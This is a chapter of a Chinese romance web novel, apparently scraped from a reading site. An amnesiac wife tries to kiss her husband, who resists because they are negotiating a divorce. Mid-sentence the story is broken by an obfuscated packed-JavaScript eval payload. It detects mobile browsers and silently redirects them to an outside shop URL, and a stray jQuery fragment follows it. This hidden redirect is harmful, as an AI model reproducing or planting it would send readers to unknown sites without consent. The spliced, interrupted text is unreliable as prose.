“嗯?”
沈御星愣了下,听见妻子两个字,她忍不住笑了。
“嗯!我是你的妻子,你有任何话都可以和我讲。”
她弯起眼睛,清亮的眸光被暖光映得柔软,抹过润唇膏的唇瓣浅浅覆着一层润泽的水光。
很美。
沈御星在过去从未对哪一个异性有过超出学习外的好奇心。她16岁上大学,那时心高气傲,看谁都觉得太幼稚。有那研究谈情说爱的时间,她早就能多发表一篇论文了。
事实上,她遇见过的所有男生加在一起,在她生活中的存在感都比不上一个李真亿高。而如今,她望着眼前沉默的男人,忽然有些苦恼的想,他是真的看起来有些可怜。
像一只不会说话,独自在角落里舔毛毛的,只会发出低低唔咽的小狗。
沈御星的人生一向顺遂。她想解开的难题,最后总能找到答案,认定的目标,也几乎没有失手过。
她不懂得面对若即若离时的惶恐,不懂得得偿所愿之后的患得患失,更不懂得用尽所有勇气都不敢说出口的真心。
她不懂。
因为真心瞬息万变。
因为许星遥亲眼见过转瞬即逝的真心。
眼前笑意盈盈的美丽女人,是24岁的沈御星,却不是五年前与他相遇后的,24岁的沈御星。
该说什么呢?
该怎么说呢?
许星遥不知道。
那个狠心的、冷漠的女人好像消失了。
他沉默了太久,久到沈御星败下阵来,轻轻抬起头,斜着眼不看他。
“那好吧,这次饶过你。”
算啦算啦,她感觉再逼问下去,这只垂头丧气的大狗狗要哭出来了。
沈御星见他不说话,什么也不说,火气顿时小小的燃起,凑近去盯着他的眼睛看。
全然忘记了刚刚才想过要算了。
她总是忍不住去看他的唇,用眼神描摹那道形状。她第四次、第五次第六次在心里感叹,这是她的合法老公诶,没有任何道理不能亲的吧。
“老公。”她露出腼腆的笑容。
下巴扬起的弧度更加优美,她轻声软语地说:“我要亲你了。”
不说话就代表愿意。
就算是开口,她也能立刻猜到,这个总是说“不会拒绝你的任何要求”的男人只会低低地发出“嗯”
的声音。
用低沉的,暗哑缱绻的嗓音回应。
然后她就会继续像在水族馆里亲吻他时那样,自然地探索未知新奇的体验。
不过她已经品尝过唇珠的滋味,软嫩的、带着一点阻塞的质感,轻咬时的摩擦感,灼热的火苗几乎要在那微不足道的摩擦中升起。
沈御星的视线太过灼热,双手指尖托住下巴,眼神不再停留在那片微微湿润的,诱人的领域。
而是往下。
因为她的视线游移而跟着紧张起来,不住滚动的喉结。
许星遥在想什么呢?
他是不是也在想,他的喉结即将被他的妻子亲吻。
在帮助她寻找丢失的回忆时,他有没有同时找回喜欢她的感觉呢?
沈御星微微侧过脸颊,视线中显露出直白的,充满占有欲的信号。
潮热的鼻息悠悠喷洒在白皙的肌肤上,更确切的说,是脖颈处令人无法忽视的喉结上方。
痒意裹挟的温热的潮红四处蔓延,许星遥的耳根红透了。
沈御星从未见过这样的画面——
这大概是她失忆以来的唯一令人充满愉悦的福利。
许星遥刚洗过澡,浴巾擦过的发稍不再有水珠滴落,房间里一直维持着舒适的25度,可他的肌肤却因为无法承受她的靠近而泛出薄粉色。
她故技重施,很快就要吻上。
再近一点。
一旦含吻住,他会有什么反应?
会不会颤抖,或者弓起身体......他的手掌会捧住她的脸吗?
他们的初吻和傍晚时一样那么克制矜持吗?
她有很多疑问。
可是许星遥不愿意说给她听,那她只好自己尝试了。
她没有任何的记忆。这具身体是29岁的身体,她难受极了,想靠近,想亲近。
但预想中的身体记忆丝毫不存在。
她只是凭本能地张嘴含住了。
双手改为捧住潮湿的头发,沈御星清晰地感受到被含吻住的肌肤之下的剧烈颤动。
“不要......”
用力压制住的平稳的呼吸声在被含吻的一瞬击碎,落在沈御星的耳中变成了愉悦的邀请。这让她短暂地耳鸣,没有听清许星遥的呢喃。
“什么?”她一心二用地想,他用的沐浴露的味道一直是淡淡的松木香气。
许星遥垂下眼,声音在颤抖。
“我说,不要再亲我。”
他的双手不知道在什么时候撑在了身后,身下的被子被紧握成了一团。许星遥弯起手臂,整个人向后躲。
“不要,亲我。”
沈御星抬头看他,浮满柔雾的眼底逐渐恢复清明。
她耐着性子问:“你不喜欢吗?”沈御星知道不是,他的每一丝反应都在说着他喜欢。
他也想要。
他只是不愿意告诉她,他所有的顾虑和低落。
现在连亲都不能亲——
她的冷脸老公是铁了心要离婚吗?
“在你找回记忆前,沈御星,我们还是正在商议离婚的关系。既然要离婚了,我们也不能再这样。”
歪理!
她已经说了她不可能答应离婚的。
“所以是我在等你。”许星遥的语气变得异常冷静,“你是因为我们已经结婚的这层关系,才产生喜欢我的错觉,这不公平。”
沈御星又恼又羞,气得有些跑偏,“谁说我喜欢你!而且怎么就对你不公平了,你还觉得你吃亏了吗?”
他这是在否认她此刻想要表达的情感。
她承认,她对许星遥仅仅处于有好感的程度,但她觉得已经很快了。
本就是朝夕相处了五年的枕边人,她会再次喜欢上许星遥这件事再合理不过。
“你怎么总觉得我不可能喜欢你,难道你心里有其他喜欢的人,我有白月光的传闻是你传出去的?”
沈御星的眼神逐渐变得危险,并且越想越委屈——
她只是太过好奇,想要体验纯洁的亲亲罢了。
现在的她却像是一个想要强上的恶霸,并且不断质问身下的人是不是在想着真正的心上人。
这么想着,沈御星难过地红了眼睛,放在他脑后的双手无力地滑落在肩上。
如果许星遥胆敢点头,或者说出让她觉得刺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816350|211064||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
耳的话,她就狠狠施力,让他也体验一下失忆的感觉。
许星遥的耳根红得像要滴血,这个天真的女人竟然一边控诉他,一边坐在了他的大腿上。
“强词夺理。”他侧过头,咬着牙,一个字一个字地说。
她根本就不懂她的行为有多危险,也不懂他到底花了多少力气才强忍住......沈御星根本就不懂!
“我没有其他喜欢的人,沈御星,我只是认为你现在做的一切决定,可能都不是失忆前的你想要的。”
额间的水珠一路顺着肩颈处滑落,酥麻的触感传到沈御星的手臂上。
她定定看着身下的男人,听懂了他话中的无奈和执着,却怎么也无法理解。
“可是这样的话,如果今天想不起来,明天也想不起来,很久很久都想不起来,你就要一直这样和我耗着吗?”沈御星这几天一直都在想,如果一直想不起来要怎么办。
难道日子就这样停滞不前,便宜老公变成只能看不能碰的花瓶老公?
可就算老公能离掉,已经四岁的可爱女儿还能塞回肚子里?
沈御星被自己的想法气笑了。她深吸一口气,软声说:“老公,要不你努力一下,重新试着喜欢我呢?”
“我知道我这五年有做很多离谱的事情,现在的我是即没有那段记忆,也完全无法共情,我唯一能肯定的是——”她悄悄往后坐了坐,假装不知道刚刚无意间碰到的是什么地方,“我想亲你。”
“我清楚夫妻的含义,也明白给孩子一个完整的家庭的重要性......我从醒来的第一天起就认真思考过,牵手、拥抱、接吻,更多更多,我都清楚问过自己。”
她轻轻俯身,发丝拂过身下紧绷的身体,纤细的手覆上那只握成拳的骨节分明的大手。
她将其牵起,摊开宽大的掌心,缓缓放在左心口。
许星遥的眼眶通红,眼尾处的红色水光潋滟。
他好像感动到要哭了,沈御星眨眨眼睛,认真说:“愿意得不能再愿意。”
她压不住自己紊乱的心跳,胸腔因为刚刚那番和表白无异的话快速地起伏着。更何况,她在牵引时,默默将掌心的位置往下带了3厘米。
......足以感受到。
而她,也已经无数次验证过她的愿意了。
沈御星再次疑惑地望向他的眼睛——
你为什么还是不愿意相信?
为什么你的表情是......痛苦?
许星遥的右手从沈御星的掌心中挣脱而出。
他知道沈御星的不解,知道沈御星从不说谎。
可正因为知道她从不说谎,他才陷入深深的无力感中。
他颤抖着声音,绝望地说:“没有记忆的你......不知道过去我们是怎么相处的,不知道你是从什么时候变心的,更不知道你为什么会决绝地不要我们。我甚至不知道——”
不要我的那个你去哪里了。
他还有很多话想说,很多话想问。
他可能再也没有机会对那个女人开口了。
沈御星咽下未出口的话,转而压下所有情绪,说:“我们还是各自冷静一下,我去客房睡。”
他沉默着伸出手,从沈御星的双腿腿弯处穿过,另一只手搂住她的腰,一举抱起。
走到床的另一边,他掀开软被,将人放了进去。